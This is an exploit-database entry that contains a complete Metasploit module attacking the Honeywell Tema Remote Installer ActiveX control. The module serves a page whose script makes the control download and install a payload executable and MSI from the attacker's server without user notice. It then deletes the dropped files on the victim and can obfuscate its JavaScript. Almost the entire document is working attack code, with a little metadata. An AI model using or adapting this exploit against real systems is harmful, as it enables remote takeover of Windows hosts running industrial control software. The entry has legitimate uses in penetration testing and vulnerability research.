ID

VAR-E-201110-0076

EDB ID

24021

TITLE

Honeywell Tema Remote Installer - ActiveX Remote Code Execution (Metasploit) - Windows remote Exploit

DESCRIPTION

Honeywell Tema Remote Installer - ActiveX Remote Code Execution (Metasploit). CVE-76681 . remote exploit for Windows platform

AFFECTED PRODUCTS

EXPLOIT

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

def initialize(info={})
super(update_info(info,
'Name' => "Honeywell Tema Remote Installer ActiveX Remote Code Execution",
'Description' => %q{
This modules exploits a vulnerability found in the Honewell Tema ActiveX Remote
Installer. This ActiveX control can be abused by using the DownloadFromURL()
function to install an arbitrary MSI from a remote location without checking source
authenticity or user notification. This module has been tested successfully with
the Remote Installer ActiveX installed with HoneyWell EBI R410.1 - TEMA 5.3.0 and
Internet Explorer 6, 7 and 8 on Windows XP SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Billy Rios', # Vulnerability discovery
'Terry McCorkle', # Vulnerability discovery
'juan vazquez' # Metasploit
],
'References' =>
[
[ 'OSVDB', '76681' ],
[ 'BID', '50078' ],
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-285-01.pdf' ]
],
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'EXITFUNC' => "none",
'InitialAutoRunScript' => 'migrate -k -f'
},
'Platform' => 'win',
'Targets' =>
[
# HoneyWell EBI R410.1 - TEMA 5.3.0
# Tema_RemoteInstaller.ocx 1.0.0.0
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Oct 20 2011",
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end

def exploit
@dropped_files = [
'payload.exe',
'ThinClient_TemaKit.msi',
'ThinClient_TemaKit.log'
]
super
end

def on_new_session(session)
if session.type == "meterpreter"
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
end

@dropped_files.each do |file|
win_file = file.gsub("/", "\\\\")
if session.type == "meterpreter"
begin
wintemp = session.fs.file.expand_path("%WINDIR%")
win_file = "#{wintemp}\\Temp\\#{win_file}"
# Meterpreter should do this automatically as part of
# fs.file.rm(). Until that has been implemented, remove the
# read-only flag with a command.
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
session.fs.file.rm(win_file)
print_good("Deleted #{file}")
true
rescue ::Rex::Post::Meterpreter::RequestError
print_error("Failed to delete #{win_file}")
false
end

end
end

end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']

# Windows 7 isn't normally supported because the user won't have write access to the
# %WINDIR%/Temp directory, where the downloaded components are stored.
if not (agent =~ /MSIE \d/ and agent =~ /NT 5\.1/) and agent !~ /Tema_RemoteInstaller/
print_error("Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end

# exec_payload.msi needs it to be named payload.exe
# atm there isn't msi generation on the fly
if request.uri =~ /payload\.exe$/
return if ((p=regenerate_payload(cli))==nil)
data = generate_payload_exe({:code=>p.encoded})
print_status("Sending payload")
send_response(cli, data, {'Content-Type'=>'application/octet-stream'})
return
end

if request.uri =~ /\.msi$/
msi_source = ::File.join(Msf::Config.install_root, "data", "exploits", "exec_payload.msi")
source = ::File.open(msi_source, "rb"){|fd| fd.read(fd.stat.size) }
print_status("Sending msi")
send_response(cli, source, {'Content-Type'=>'application/octet-stream'})
return
end

if agent =~ /MSIE 6/
# The 'setTimeout' trick allows to execute the installer on IE6 even if the user
# doesn't click the warning popup when downloading the payload.
# The ThinClient_TemaKit.msi installer name must be static.
# <object id="obj" classid="clsid:E01DF79C-BE0C-4999-9B13-B5F7B2306E9B">
js = <<-EOS
var obj = new ActiveXObject('Tema_RemoteInstaller.RemoteInstaller');
setTimeout("obj.DownloadFromURL('#{get_uri}/ThinClient_TemaKit.msi');", 1000);
obj.DownloadFromURL('#{get_uri}/payload.exe');
EOS
else
js = <<-EOS
var obj = new ActiveXObject('Tema_RemoteInstaller.RemoteInstaller');
obj.DownloadFromURL('#{get_uri}/payload.exe');
obj.DownloadFromURL('#{get_uri}/ThinClient_TemaKit.msi');
EOS
end

js.gsub!(/\t\t\t/, "")

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end

html = <<-EOS
<html>
<body>
</object>
<script>
#{js}
</script>
</body>
</html>
EOS

print_status("Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})

end

end

EXPLOIT LANGUAGE

rb

PRICE

free

TYPE

ActiveX Remote Code Execution (Metasploit)

TAGS

CREDITS

Metasploit

EXTERNAL IDS

REFERENCES

SOURCES

LAST UPDATE DATE

2022-07-27T09:35:47.331000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE